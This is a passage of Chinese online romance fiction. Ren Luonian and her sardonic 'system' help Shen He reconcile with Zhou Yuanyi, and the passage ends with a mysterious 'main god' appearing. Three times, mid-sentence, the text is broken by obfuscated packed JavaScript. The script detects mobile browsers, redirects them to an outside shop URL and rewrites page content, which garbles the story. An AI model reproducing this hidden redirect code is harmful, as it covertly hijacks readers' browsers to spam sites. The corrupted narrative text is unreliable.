03号系统微笑着打量面前这个男人,眼神里透露着玩味。虽然在这里统一要求穿着简单的衬衫西裤,但是优越的身材比例让他看起来格外突出。从他走过来的时候,她就不可控制地盯着那双修长的腿。 最重要的还是那张帅得非常有辨识度的脸,眼睛像随时都透露着淡漠,但是嘴角天然上扬的弧度又冲淡了这种冷冽。 简而言之,能有长得这么带劲的同事天天出现在自己面前简直就是天赐的福气。 她看着离自己越来越近的01号系统露出逐渐放肆的笑容,用甜腻的声音开口:“帅哥,上次团建怎么没来?” 整个系统确实就像个大企业,所以这里的员工生活基本上和原来世界线相差无几。团建、开会之类的事也是经常有的。 01号系统顿了顿,皱眉想了想,发现自己完全不记得还有团建这个事情。 对面像是知道他会有这样的反应一样,轻轻抬起手里装着的咖啡杯,随即抬眼含情脉脉地看着他,调笑一般:“就知道你不屑于跟我们这群老古板一起玩。” 01号系统本打算直接离开,但是听见她的话好像突然想到什么,径直走到旁边给自己接了一杯咖啡,转头随口一问:“听说之前的世界任务基本上杯主神完全推翻,你们很早就可以做系统的应该知道,他改了什么?” 03号系统听见这个问题后笑了起来随即身体微微向1号系统靠近,垂眼示意对方低下身来,嘴角的弧度不减,只是骤然降低了音量。 “想知道?来我的控制室。” 说完她端着杯子头也不回地往自己的控制室走去。 01号系统把咖啡放在岛台上一边搅拌一边抬眸看了一眼她的背影,然后放下手上的动作,跟了上去。 在03号系统的门即将被关上的时候他走了进去。 这里的控制室不仅是系统工作的场所也算是居所。除了有专门放设备的工作室外还有专门的卧室。03号系统并没有停在工作室而是径直走到自己的卧室。 见她走进去,01号系统没有跟进去,只是站在门口抱臂靠着门槛居高临下地看着坐在床上的她。 她撩了一把头发看着眼前高大英俊的男人:“干嘛这么防备,我还能潜规则你不成?” “我知道,除了卧室其他地方都能随时被监测到。” 03号系统听他说完之后,觉得更有趣了,挑了挑眉:“哦?你知道的还挺多。” “跟你们比起来,不算多。” 她站起来缓缓走向1号系统,走到离他非常近的地方,轻轻用手点上他的腹部,随后一直往上。 “那你告诉我你想知道什么呢?” 没等她的手游走多久,对方那双淡漠的眼睛直视着她,用力拽上她的手腕,随后毫不留情地把她的手甩向一边。 撩拨的信号很明显,对方拒绝的信号也很明显,03号系统也不是什么自讨没趣的人,心里暗暗骂了他一句不解风情。 她摆摆手又走回床边坐下。 “关于之前的世界线和任务,主神要求我们保密。透露的后果可是非常严重的。” 01号系统闻言眯了眯眼,问:“之前有个系统突然消失不见,就是因为透露了这个?” 对方听完之后沉默了片刻,随即对着他眨眨眼睛故作神秘地说:“我不知道具体的,但是据说后果很惨。” “不过也是,主神的心思谁能揣测呢?你我都是这个庞大系统里的一个零件而已,乖乖完成任务后尽快脱离这里才是对策。至于其他的,我只能好心劝你一句......” 她认真地看着01号系统,眼神里的笑意锐减,声音也变得冷了许多。 “不要尝试和主神对着干。” 听完她的话01号系统若有所思地点点头,但明显没听进去,转身走了出去。 03号系统坐在床上看着他离开的方向,想起自己之前偶然间看到的东西,嘴角一扬。 “那你真正的身份是什么呢?千万不要让我失望啊。” ------- 下午的天突然变得阴云密布,乌云黑压压地占满天空,任洛年还为此专门看了手机上的天气预报。 虽然这天看起来大雨将至,但是预报上显示只有夜间有雨。于是一向信任预报的任洛年还是自信地出门了。 她提着从谢书华那里顺的手提袋走在去市场的路上,一边走一边看附近的街区。 可能是这里水汽丰沛的缘故,植被也格外茂密。她第一次看见有地方的绿化能让整个街区看起来像公园。 途中还路过了一段栽了树桩玫瑰的院子,玫瑰花缀满挺直的树,就这样栽了满园,她驻足看了一会儿。过一会儿看见有只一只猫妈妈带着小猫出街,她又蹲下来先摸了猫妈妈,顺手把小猫也摸了摸然后再满意地离开。 短短的路被她走得像出省一样遥远。好不容易一路走走问问才找到集市,结果刚走进大门就看见一群人围着,听声音像是有人吵起来了。 任洛年没有看热闹的习惯,她一向看见小猫嘻嘻哈哈,看见人类骂骂咧咧。 所以第一时间就准备加快脚步离开这里。而与此同时有个男人一边行色匆匆地向前走一边扭头盯着人群,根本分不出眼睛来看路。 任洛年看见他的时候根本来不及躲,果然毫不意外地被结结实实地撞倒。 两个人的速度都很快,她被撞得直接坐在了地上。长年失修的路面很破,粗糙的水泥地上尖锐的石头立马把她的手磨破皮,刺痛感随着血流出的那刻袭来,任洛年吃痛抬眼皱眉看着把她撞到的人。 谁知对方先声夺人:“你这个人怎么走路的,没长眼睛吗?” 惹到任洛年算是踩到钉子了,她当即就站起来准备跟这个男人理论。 对方也不知道到底是有什么急事,没有再看一眼被撞到在地的任洛年就开始若无其事地往前走,看样子打算直接离开,谁知任洛年咚地一下站起身,用力拽住他的胳膊把他扯到自己面前:“给我道歉,听见没有!” 那个男人也不知道面前这个女孩哪里来的力气,用力也没能挣开,一时有点惊讶。 “放开,你这个泼妇,是你自己没长眼睛的,还在胡搅蛮缠。” 胡搅蛮缠?现在就让你知道什么是真的胡搅蛮缠。 任洛年扯住那个男人的手加了点力气,把他扯得呲牙咧嘴,然后看向人最多的地方。 “快来看啊!这个人把我撞了还骂人,什么人啊!” 她几乎是用最大的声音喊出来的,一边说还一边展示着自己血淋淋的左手。人群本来还围着刚才吵架的两个人,现在都纷纷看过来。 看见有人已经注意到这边,任洛年立马有了下一步的打算,刚好那个蠢货现在还在扯开她的手,于是她立马配合他都动作表演了一出被推倒在地都样子。 她还专门找了一个不怎么痛的姿势倒地,看着很委屈的样子,悄悄用手抹不存在的眼泪。看起来像一个孤零零又受了天大委屈的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464731|141845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小姑娘,闻者伤心,见者落泪。 这下一些正义的大爷大妈已经看不下去了,纷纷走出来指责那个男人。连刚才两个吵架的人都暂时休战,看了过来。 他被围困住,一时面红耳赤,恨不得找个缝钻进去。无奈之下他看了眼地上的任洛年敷衍地说了一句对不起,然后迅速逃离现场。 任洛年站起来拍拍身上的灰,对着他跑走的方向比一个中指,然后继续转身买菜。 买菜出来的时候任洛年看见菜市场门口有个满头白发的老婆婆在卖橘子,虽然以她的经验,这个橘子一定酸得不得了,但是她还是买了一袋。 本来感觉自己来到这个世界线之后已经脱离了倒霉的命格,结果今天一天就把她打回原型。 刚买完菜准备回去雨就下起来了,豆大的雨滴往地上砸,发出碰撞的声音。任洛年认为这个雨势看起来不容小觑,结果刚进便利店买了伞出来走了两步,雨就停了。 她看着自己被占满的双手,现在还要拿一把没用的伞,笑了一声。 “死老天,我给你脸了是吧。” 好不容易快走到家,那个橘子的袋子又不知道什么时候破了,她就说怎么感觉手里的东西越走越轻。结果回头一看,橘子边走边掉。最远的橘子都快离她有二里地了。 她叹了口气,把其他菜一丢,再看着手里还残余的橘子,这才真的被气笑。 正准备蹲下身去捡离自己最近的橘子,手上袋子里的橘子又掉一个,转身一看,第二个第三个又接着掉了。 于是她一怒之下把整袋袋子都扔了几米远。 死橘子,掉吧,谁掉得过你。 发完疯,她环顾四周,确保没人看见自己的行为艺术。然后再狼狈地一个一个把橘子捡回来。 谁知她刚低下头就发现有只手帮她捡了一个橘子放进袋子里。 那只手很好看,手指修长,白衬衫被挽到手肘,手臂上还能隐隐看到青筋,看起来十分有力。 任洛年半蹲在地上,盯着这只手,逐渐走偏地想到这只手看起来能把她掐死。 结果对方好像知道她的心声一样,在她站起身准备转头看看到底是谁的时候一把抓住她的后颈,即使她用尽全力也难以挣脱,一时维持这个不能转头的姿势动弹不得。 虽然不能转过去看他的脸,但是身后的人的胸膛几乎快贴着自己,任洛年甚至能感受到他身上的温度。她不用转身也能知道对方比她高大很多。 任洛年即使在北方女孩里面身高已经算是高的,这么估计的话对方身高起码接近一米九。 体型悬殊太大,她靠自己是不可能得救。任洛年疯狂在脑内呼叫系统,没有得到回应之后才想起他下午请假了。 这一刻她终于有点懂为什么老板不喜欢员工请假了。 系统不在,挣脱不开,于是她只能闭上眼睛摆烂。 无所谓,要死咯。 看她完全卸了力气一副视死如归的样子,身后的人似乎轻笑了一声。 “别乱动,是我。” 他一边说一边用另一只手轻轻握住任洛年受伤的那只手。 任洛年听见这个熟悉的声音后惊讶地睁开眼睛:“系统?” 刚问完这句话,身后的那股压迫感突然消失不见。即使她用最快的速度转过头去也没有看见对方的踪迹。 任洛年低头看了看被他碰过的手,刚才还血淋淋的伤口已经完全消失了,一点疼痛的感觉也没有。 既然是来帮她的,为什么又不让她转头,任洛年有点疑惑,于是和以前一样在脑内呼叫系统:“为什么不让我看见你的脸?” 谁知对方轻飘飘地回了一句:“太帅,怕你爱上我。” 8. 说了别惹我 任洛年听完这句话的第一反应是自己耳朵出什么问题了,脑子里迅速冒出十个问号。但是对方的语气是那么平淡,就像在叙述什么事实一样。 她生生忍住那句你没事吧,若无其事地蹲在地上捡橘子。一边捡一边想刚才自己发疯的行为有没有被看见。 “你刚才......” 几乎在系统刚开口的一瞬间,任洛年也立刻制止。 “别问了,成年人最后的一点体面。” “手怎么回事?” 任洛年没想到他只是问这个,捡橘子的手一顿,随意看了眼只有血迹但是伤口已经愈合的手,然后缓缓开口:“没事,刚才不小心摔在地上了。” 对方也不紧不慢地开口:“就请假了一下午,宿主就把自己摔成这样,看来以后要少请假了。” 任洛年不明白系统为什么要这样说,在她自己看来,这点伤倒是完全算不上什么,刚才非要和撞到她的人理论也只是因为争口气。 她没回话,只是有些不自然地咳了一声,继续闷头捡地上七零八落的橘子。 还没等她捡完,抬眼就看见门口的沈何和周远逸。他们站在一起看着蹲在地上的任洛年和满地的橘子,虽然隔了些距离,任洛年也能感受到他们眼里的不解。 她心如死灰地闭上眼,果然,任洛年,人人都笑你,偏偏你最好笑。 他们没站多久还是走过来帮她捡起地上的东西,沈何帮她把放在地上的菜提起来,掂在手上看了看。 “我专门买了菜,晚上给你们做饭。” 说完她想起刚才看见沈何好像在送周远逸出门,于是灵机一动,说:“这么多菜我们两个也吃不完。” 周远逸听着眨了眨眼睛,刚才沈何把他送到门口,本来已经打算回家,正愁着想下一次见面的理由,现在不就有了吗? 果然沈何转过身看着他:“那你留下来一起吃饭可以吗?” 周远逸听完点点头,低头假装咳嗽掩饰住自己的笑意,然后很自然地又走进门。 任洛年到厨房就开始忙碌,甚至把想进来帮忙的沈何也支走,就这样撸起袖子就开干。 系统看她提着个菜刀走来走去,然后对着菜板上的菜咚的一声砍下去,感觉厨房都震了震,生生把那句“需要帮忙吗”憋了回去。 任洛年一边想今天发生的烂事一边砍菜,把怒气全部发泄到菜板上。整个厨房都发出规律的咚咚的声音。等做完菜之后,她感觉自己整个人都好多了。 晚上吃饭的时候,沈何看着满桌各式各样的菜都有点震惊地眨眨眼睛,好感度也蹭蹭往上涨。 他们吃饭的时候都很沉默,任洛年拼命想找个话题,但是对于她这种不擅长和人交际的人非常困难,于是她求助系统。 系统倒是一副胸有成竹的样子,于是任洛年按照他说的话一句一句地问周远逸。 “你今年多大了?” “大学读的什么专业?” “家里是做什么的?” “现在在哪里工作?” 任洛年自己都感觉越问越奇怪,她在脑内求助系统:“你真的靠谱吗,怎么跟查户口一样?” “他们已经很多年没有见面了,现在让沈何知道他的一点基本信息可以增进对他的了解。” 任洛年听完赞同地点点头。 “当然了,也因为如果要知道男主的个人信息需要花费好感度来解锁,现在直接问出来节约了不少呢。” 真是不会让人失望的系统,任洛年突然释怀地冷笑一声。 -------- 早上,阳光洒进院子透过树隙钻进房间,任洛年烦躁地拿枕头捂住自己的眼睛。 昨天晚上研究指南研究到深夜,本来打算直接睡觉,结果不小心点进短视频界面,又一个不小心笑嘻嘻地刷到凌晨。 于是造成现在完全起不来的结果,她感觉自己不是困而是直接昏过去了。沈何在门口叫了一遍也没把她没叫醒,只能直接去上班了。 沈何走之后,系统叫了很多遍也没能把人叫醒,看着床上埋头苦睡的任洛年,一向注重效率的他恨不得亲自把她从被窝里拽出来。 任洛年本来以为自己起来了,结果还在梦境里。她梦见自己已经起床了,并且独自走到一个地方,然后进了一家面馆。 吃完之后去结账的时候看见账单上显示48元一碗,立马吓得心头一颤,整个人如坠冰窟,然后就在这种刺激下醒来了。 果然,被丧尸追这些都是虚假的噩梦,而真实的噩梦往往是重回高三、上班迟到遇见上司、一碗面48元...... 她看起来惊魂未定地坐在床上,摸了摸乱糟糟的头发。 “终于醒了,我都准备报警了。” 每天早上起床迎接任洛年的不是初升的太阳而是阴阳怪气的系统,她早已经习惯。 清晨的阳光非常刺眼,加上她刚醒过来眼睛很敏感,于是被刺得重新闭上眼睛,谁知这时脑里阴差阳错地接通了画面。 画面里首先是走在巷子里的沈何。她刚走到路口就看见有个车停在面前,对方放下车窗,笑着看她。 “上车,我送你上班。” 说着还没等沈何回答,他就好像知道对方想说什么,立马接了一句。 “顺路。” 沈何没有拒绝的理由,打开车门上了副驾。 沉默了半晌,周远逸才开口:“我们学校明天有个团建活动,可以带朋友,你要一起去吗?” 沈何听见之后顿了片刻,抬眼看了看前方,扣着手没说话。 看她有些无措的样子,周远逸开口,语气温和。 “没关系,我一个人去也可以。” “具体是什么活动,我可能需要要提前准备一下。” 周远逸反应过来之后转头看了沈何一眼,眼里透露出一些惊喜。握着方向盘的手都紧了紧。 看着这幕任洛年满意地倒在床上。然后意料之内地收到联系度+10的提示音。 系统看着她又倒回床上,轻轻叹了口气,随即关上共享界面。 任洛年再次醒来的时候眼睛都还没能完全睁开就开始玩手机。睁开一只眼划着屏幕,发现已经下午了。感觉睡了太久头昏昏沉沉的,她坐在床上发呆。 “去吃饭。” 系统突然冒出来的一句话把任洛年吓了一跳,她以为系统的意思说让她现在起床做午饭,于是睁开眼睛眨了眨,动作缓慢地像树懒一样起身。结果刚走到餐桌旁就看见做好的午饭。 她顿在桌前,想了很多种可能,问:“沈何早上给我做的?” “对,早上做的饭到下午还是热的。” 听见系统阴森森的语气她才反应过来,惊讶地问:“你做的?” 对方没再回答,但是任洛年难以置信地坐下来,感觉自己可能起猛了。 她心里突然有些愧疚,不应该老是把系统往坏里想,他就是说话难听了点其实人还是很好的。 自我感动了几分钟之后,她夹起菜吃了一口,随即不知道怎么了,把头埋在桌子上咳嗽个不停。 她不是一个挑食的人,但是头一次被一道菜难吃到想报警。 刚入口的那瞬间她就想把菜吐出来,但是想到这样很伤系统的心又强行憋住,就导致现在呛得要死不活。 面对系统的关心,她头也没抬,而是用沙哑的声音回到:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464732|141845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道了,这是你的惩罚,以后我会早起自己做饭的。” 系统做的饭自己还没吃过,加上之前的记忆又被清除,他对自己的做饭水平没有任何认知。 但是即使听见他做的饭被任洛年称为一种惩罚,他心里也坚信一定是任洛年太挑食了。 -------- 任洛年没有想到的是,沈何晚上回来之后让她一起去参加明天的团建,说是学校为了团建订好了房间,但是有个老师不去,所以刚好有一个空房间。 任洛年想着反正要做任务,去了指不定更方便,很爽快地答应了。 结果第二天早上的时候又是困得要死不活,感觉自己像一个被抽去灵魂的躯壳,连沈何问她问题也基本上是乱回的。 “你喝牛奶吗?我给你拿一盒。” “好吃好吃。” “等下你和我们坐在一辆车可以吗?” “嗯,坐车。” 本来还信誓旦旦地告诉系统自己跟去说不定可以加快任务完成进度,结果刚上车就睡死在车后座。 感觉前面沈何和周远逸的交谈一开始声音还正常,后面声音越来越低,直到最后变成她梦境里的絮絮低语。 沈何甚至中途回头看了一眼睡得一动不动的任洛年,要不是还能看得见呼吸细微的起伏,她就要上手探鼻息了。 直到已经开到地方,车停下的时候任洛年才醒过来。她揭开盖在脸上的鸭舌帽,一副睡眼惺忪的样子。 下车之后一股铺面而来的冷空气直扑在她的脸上,让她感觉在冷水里泡了一遭,直接清醒了。 团建的选址是在当地的一座茶山,可以爬山可以自己体验采茶炒菜,最后把成品带回去给家人。 第一天的计划是打算先爬到山顶的民宿,任洛年对一切运动过敏,只要一运动就四肢无力,头脑发昏。 但是这么多人在,她也不想拖别人的后腿,于是还是跟了上去。 到景区门口检票的时候,她看见沈何和周远逸站在一起,决定不打扰他们,默默走到最旁边的那排。 结果刚排上就出现一个莫名其妙的男人出现在她面前。 任洛年抬头扫了他一眼。 一个人,我忍了。 结果这个男的又叫了一个女生站他前面。 两个人,给我滚。 眼看着他们还有一些朋友在旁边,这样下去他们一家老小都排任洛年前面。别弄得排了半天队,反而离景区更远了。 “麻烦到后面排队好吗?你插队了。”她还算礼貌地开口。 那个男生回头看着面无表情的任洛年,笑嘻嘻地说:“我们刚才就排这里的,去上了个厕所。” 任洛年看见他嬉皮笑脸的样子,耐心告磬,脸色沉下来:“后面去。” 笑容僵在脸上,他的女朋友也有点尴尬,想扯着他走。 结果那个男的可能脆弱的自尊心受到了挑战:“本来就是我们的位置,你爱排不排。” 你以为我是什么软柿子吗?任洛年一股怒火冲上心头,感觉自己已经在发病的边缘徘徊。 她心里已经幻想自己扯着那个男的头发把他甩来甩去了。但是害怕被警察带走,她还是深吸了一口气:“我一开始排的时候前面就不是你,滚后面去排队,再惹我信不信我让你今天进不了景区大门。” 他们一起的朋友一开始还在队伍旁边跃跃欲试,听见之后默默往后面去排队了。那个男生的女朋友看着任洛年的样子实在害怕,一直说算了算了,把他拉走了。 走的时候这个二货还一直瞪着任洛年,一副你给我等着瞧的样子。 任洛年一边检票进门一边低声说了一句:“蠢货。” 9. 听说你想见我 清晨的雾气萦绕在山间,两侧树木高耸,枝叶下缀着深绿色的藤蔓。冷冽的空气里携带着植物和泥土混合的气息。 山间的古道狭窄荫蔽,连小路边都是浅绿色的青苔,两侧是挺直翠绿的杉树,枝叶繁茂地接住倾泻下来的阳光。即使在炎炎夏日,这里也清凉如许,像天然的避暑胜地。 任洛年慢吞吞地跟在沈何和周远逸的后面。不打算凑过去听他们在聊些什么,所以主动隔开了些距离。结果因为落单不幸被几个中年教授抓住,让她去帮忙拍照。 她平时从不喜欢拍照,手机里的照片大多都是必须存的工作内容。大学的时候因为相册里全部是老师和黑板上ppt的照片被朋友怀疑暗恋老师。 虽然她对自己的拍照水平有一定的了解,但是迫于对方的请求,她还是硬着头皮拿着相机上阵了。 一路上边走边拍,害怕他们看见自己拍的照片气晕过去,拍完好几次都想把相机还给他们然后逃跑,结果每次都逃跑未遂。于是她任劳任怨地当了半天摄影师。 中午日头越来越烈,任洛年一边擦汗一边给这群中年教授拍游客照,动作越来越熟练。 爬到半山腰的时候,好不容易才看见第一个可以休息的亭子,任洛年走进去的时候看见没有其他空位,只能坐在一对情侣边上。 一开始他们两个还正常地说话,说着说着开始打闹,甚至打闹的时候还撞了任洛年几下。 作为一个高素质的青年,这些她都暂且忍住。结果更过分的是他们两个就这样在公众场合不管不顾地亲起来了。任洛年离他们非常近,甚至能听见声音。当即感觉自己的后背麻了一片。 坐在对面的教授们都看不下去了,他们觉得任洛年这个看起来温温柔柔的小姑娘肯定害羞不好意思说,正准备开口帮她。 结果还没开口制止,就看见任洛年突然站起身,然后径直走到他们两个面前,面无表情地直视着他们。 “你们在干什么呀?声音好大,吵到我了。” 这下即使再忘我也不得不抽离出来,他们两个停下刚才的动作,看起来尴尬得脸红了一片。女生低下头不好意思地让男生走,于是他们迅速离开现场。 任洛年看着空出来的座位,又像什么都没发生过一样坐了下去,然后拿出水喝了一口。全程看起来没有任何尴尬,就像捡起垃圾再扔掉一样自然。 她一直不懂为什么读大学的时候有人看见有小情侣在公共场合举止亲密会尴尬,她觉得该尴尬的难道不是他们吗。 任洛年今天穿着沈何给她的一件浅蓝色衬衫搭配长百褶裙,头发浓密乌黑随意地盘起,五官精致又因为挺立的鼻梁透着些英气,刚才爬山导致双颊微微泛红,看起来像女大学生一样。 但是她的眼神随时都像一潭死水,没有什么情绪的起伏,让她整个人的气质看起来像七老八十了。这种不惊不乍的沉稳性格深得这群长辈的喜爱。 ------- 终于到山顶的民宿的时候,任洛年迟迟没有等到沈何和周远逸。 刚才在给别人拍照的时候和他们分开,但是按理说自己走走停停地拍照应该比他们更慢到才对,不知道为什么他们还没上来,她隐隐有点担心。 到吃饭的点大家都围成一桌坐下后,他们才从后面姗姗来迟,但是任洛年一眼就发现沈何的脸有些泛红,她低头挽起散落到脸侧的头发,动作有些不自然。 周远逸像是低下头轻声给她说了句什么,看她点头之后才抬眼对大家说沈何腿扭到了,要上去休息一下。 看着他搀扶着沈何往楼上走的背影,任洛年想追上去看看沈何,结果本来围坐在一起的教授们一副很懂的样子把她叫住。 他们一边吃饭一边说着沈何和周远逸郎才女貌非常般配。 说着说着不知道从谁开始又把话题往任洛年身上引。 “小任今年多大了?” “是哪所学校毕业的呢?” “现在在做什么工作。” 任洛年一开始还笑嘻嘻地听着他们说,结果突然被问到,立马笑不出来了。 出门在外,身份都是自己给的。于是她不仅编了年龄还给自己编了个工作。 几个阿姨听得露出满意的笑容,蠢蠢欲动,结果被一个男教授捷足先登。 他不知道从什么时候打开手机相册,找到他儿子的照片然后给任洛年看。 “小任啊,你看,这是我儿子,现在在A大读研究生,这长得不错吧。” 任洛年表面上微笑着附和,实则跟系统评价道:“一般。” 其他几个阿姨也不甘示弱,拿出自家儿子要么就是亲戚家孩子的照片,翻给任洛年看。 她面上还是维持着刚才的假笑,脑内边看边评价。 “这个也一般。” “还行吧,有点矮。” “长得好慈爱,像蕉太狼。” “才二十四岁啊,有点显老。” 系统听完他一个个锐评之后想了想,问:“那你喜欢什么样的?” 任洛年之前倒真没专门想过这个,她看起来认真思考了一下:“不要总想管着我的。” 系统现在唯一记得的爱好就是管人,听见这个要求觉得有些奇怪,不知道她对被管有什么阴影,随口一问。 任洛年像是被戳中什么痛点,看起来有满腔的埋怨。 “现在没有时间,等我有空了给你细说,大概就是我之前有个特别爱管人的上司,你说他爱管人就算了,还专门针对我。” 就这样一直带着假笑面具吃完这顿饭,任洛年感觉精疲力尽。 她回到房间疲惫地倒在大床上,伴随着窗口传来的阵阵茶香迅速入睡。 等她再醒来的时候才惊恐地发现已经是傍晚了。 落日余晖映照进她的房间,打在她初醒的脸上,让她的头发看起来都是金棕色,瞳孔被照耀得闪烁着透明的光泽。 窗口像是一幅画,画着连绵的青山,落日和种得整整齐齐的茶园。 她刚准备起身,随即想到了什么,闭上眼睛。果然直接连接到画面。 沈何此时坐在茶园里的一个大石头上,旁边是周远逸。 阳光洒在他们身上,看起来美好得像梦境一样。 “如果不知道从哪里开始开口的话,我们一人问对方一个问题好吗?可以不回答但是不能撒谎。” 沈何点点头,等着对方对自己的提问。 “这些年过得还好吗?” 她听见这个问题没有再像以前一样习惯性地回避,只是垂眼看着自己的手随即开口:“不好,自从我爸爸去世之后就过得一团糟。” 看见周远逸轻轻皱眉的表情,她继续说:“我没有办法怪任何人,所以有时候只能怪自己。” “不要这样想,即使你觉得自己走错路了,那么错的也不是你而是那条路。不应该为这个自责。” 周远逸说得很认真,沈何也知道他的意有所指,但是没有再接着这个话题说下去,而是在该自己发问的时候直接转了话题。 “你为什么出国之后就没有联系我了?” 这句话已经算是她最含蓄的问法,她想知道答案,也想咄咄逼人地问他是不是想撇清关系,想问他为什么现在回国又来找她,是不是因为找不到其他合适的人,但是她不是那么残忍和不留情面的人,最终也只说出口这句话。 周远逸听见这句话才是真正的懵了一下,他像突然想起了什么,皱起眉。 “我知道了,那句话不是你发的。” 沈何听得莫名其妙,就看见皱远逸拿出手机给她看了一张截图。 是她跟周远逸的聊天界面,文字很少,但是有一条很醒目的话,是她发的。 -以后不要再联系我了,我已经结婚了,婚后应该跟你保持距离,不要让我太难做。 沈何把手机拿过来看了很久,脑子里闪过很多画面,比如她每次洗完澡都会发现手机移动了位置,有时候在厨房忙碌的时候让郑涵帮忙拿一下电话他会直接挂断说是骚扰电话。 之前觉得很可疑的事情,现在一切都能解释得通了。 她拿着手机的手都有些微微发抖,脸色变得有些苍白,但还是轻轻说了一句对不起。 周远逸没有觉得沈何对不起他,包括她说出那些让他远离的话他也一直以为是因为当时沈父去世之后他因为在外地没有第一时间赶来关心她,而是过一段时间才知道,导致她觉得无助所以在生自己的气。 即使之后的一个月每天想尽办法联系她却被拉黑,好不容易打通一次还是郑涵接的,告诉他沈何不想被他打扰。 虽然有很多话没能说出口,但是出于尊重沈何的感受,他没有再纠缠。随着他做出出国的决定,整个人完全消失在了沈何的世界里。 他以为她会过得幸福,所以即使被忘记被冷落也没关系,每次想她想到难以入睡的时候再点开这个聊天记录的截图,突然就觉得自己不去打扰才是对沈何最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464733|141845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的帮助。 直到现在他才感觉到真正的痛楚,原来沈何过得并不好,这比他这些年的独自思念和被抛弃的感觉还要糟糕。 “那你不讨厌我,对吗?” 沈何抬起头和他对视,在看见他有些红的眼睛时用手轻轻捧着他的脸。 “从来没有。” 自从父亲去世之后,她整个人像失去了最重要的精神支柱,每天过得失魂落魄,偏偏和她相隔很远的周远逸处于学业最忙碌的阶段。 为了不影响他,在电话里她也没有透露出任何伤心的情绪。 这个时候郑涵趁机向她示好,无微不至地关怀她。她像是找到了一个救命稻草,就这样答应了他。 直到结婚后她才发现,这一切只是开始于一个骗局。 不过幸好,现在还能回头,一切都不算晚。 从傍晚到夜幕降临,天变得越来越黑沉,她把一直以为被抛弃的人抱在怀里,想填补两人这些年所有的空白。 …… --滴,联系度+10,目前总联系度为90,请再接再厉。 随着播报声响起,任洛年坐在床上缓缓睁开眼,刚才看见的一切还在她脑海里浮现。 “即使他们现在重新走到一起,之前错过的那些时光也很难弥补了吧。” 她只是看起来对什么都不在意,其实不是一个洒脱的人。就比如如果是她经历了这样的事情,她会很久都不会释怀。 “可能失去过才能知道,重逢的意义大于过往的一切。” 他的话刚说完,窗外突然有闪烁的光照进室内,明暗的光打在任洛年的脸上,她转头看向窗外。 出乎意料的是,随着砰的一声响开,黑色的天空背景上是烟花在绽放。 像金色的流星蹿向天空最高处,随即不顾一切地绽开,给天空留下绚烂的印记后消失不见。 她趴在窗口凑近看了看,烟火的光在她眼里闪烁。像是想到了什么,她哦了一声。 系统以为她是为绚烂的烟火所震撼,结果突然冒出一句淡淡的点评。 “山里放烟花,这得牢底坐穿吧。” 系统看了眼天空中还在不断绽放发出声响的烟火,心里已经有了答案,微蹙的眉下眼眸深不见底,没有说话。 站在窗前,远处是一出美轮美奂的烟火演出,出现得毫无预料,就这样打破寂静的夜晚。 淡淡的茶香飘进房间,晚上的风也带着凉,刮在任洛年的脸上,把侧颊的发丝吹到脑后。 等烟火消失后,整个天空重归黑暗。留下的只有和之前一样各种昆虫交织的独属于大自然的叫声。 可能因为远离城市,这里的黑暗是绝对的,似乎可以吞噬一切。 唯一可以提供光亮的月亮今晚也不知所踪,房间黑得伸手不见五指。 任洛年感觉连走回床的路都找不到,摸索着想去打开灯。还没走几步,她敏锐的感知就告诉她这个房间绝对有别人。 第一时间没有选择声张而是强行让自己冷静下来,随即继续若无其事地往印象里灯开关的方向走去。 奇怪的是从刚才归于黑暗的那一刻起,她好像和系统也失去联系,此刻无论怎么叫他都没有应答。 她抱着大不了就是死的心态等待着对方的下一步动作。 果然在她已经走到门边,即将碰到门的那刻对方也有了动静。 没有她想象中的暗杀的戏码,而是很突然的,很出乎意料的,对方从后面抱住了她。 她能从对方贴近自己的身体感受到和上次那个从背后靠近自己的人是差不多的体型和身高。 他把头埋在任落年的肩膀上,没有说话。 绝对的黑暗里,听觉被无限放大,任洛年能听见耳边压抑的气息。 她不敢轻举妄动惊扰对方,只是轻轻地问了一句:“是系统吗?” 对方像是对这个猜测非常不满,加重了抱着她的力气,把她在怀里窟得更紧了。 任洛年皱起眉,这时候才发现对方身上有一股她很熟悉的气息。还没等她把这个淡淡的香味琢磨透就感觉对方突然松开了她。 虽然抱着她的手放开了,但是还是用一只手握着她的后颈,让她不能转头。 这个动作和上次系统的一模一样,但是直觉告诉她这不是系统。 一切重归平静,连同她刚才还激荡的心跳。这时对方在她背后缓缓开口,声音低沉还带着些沙哑。 “听说你想见我。” 10. 任务 任洛年听见这句话微微皱眉下意识想转头却因为这一动作被按得更重。 “主神?” 听见她的问句对方没应答,只是在她身后轻笑一声,随即用手点了点她的脑袋。 “以后直接这样找我,不要再问你那个没用的系统。” 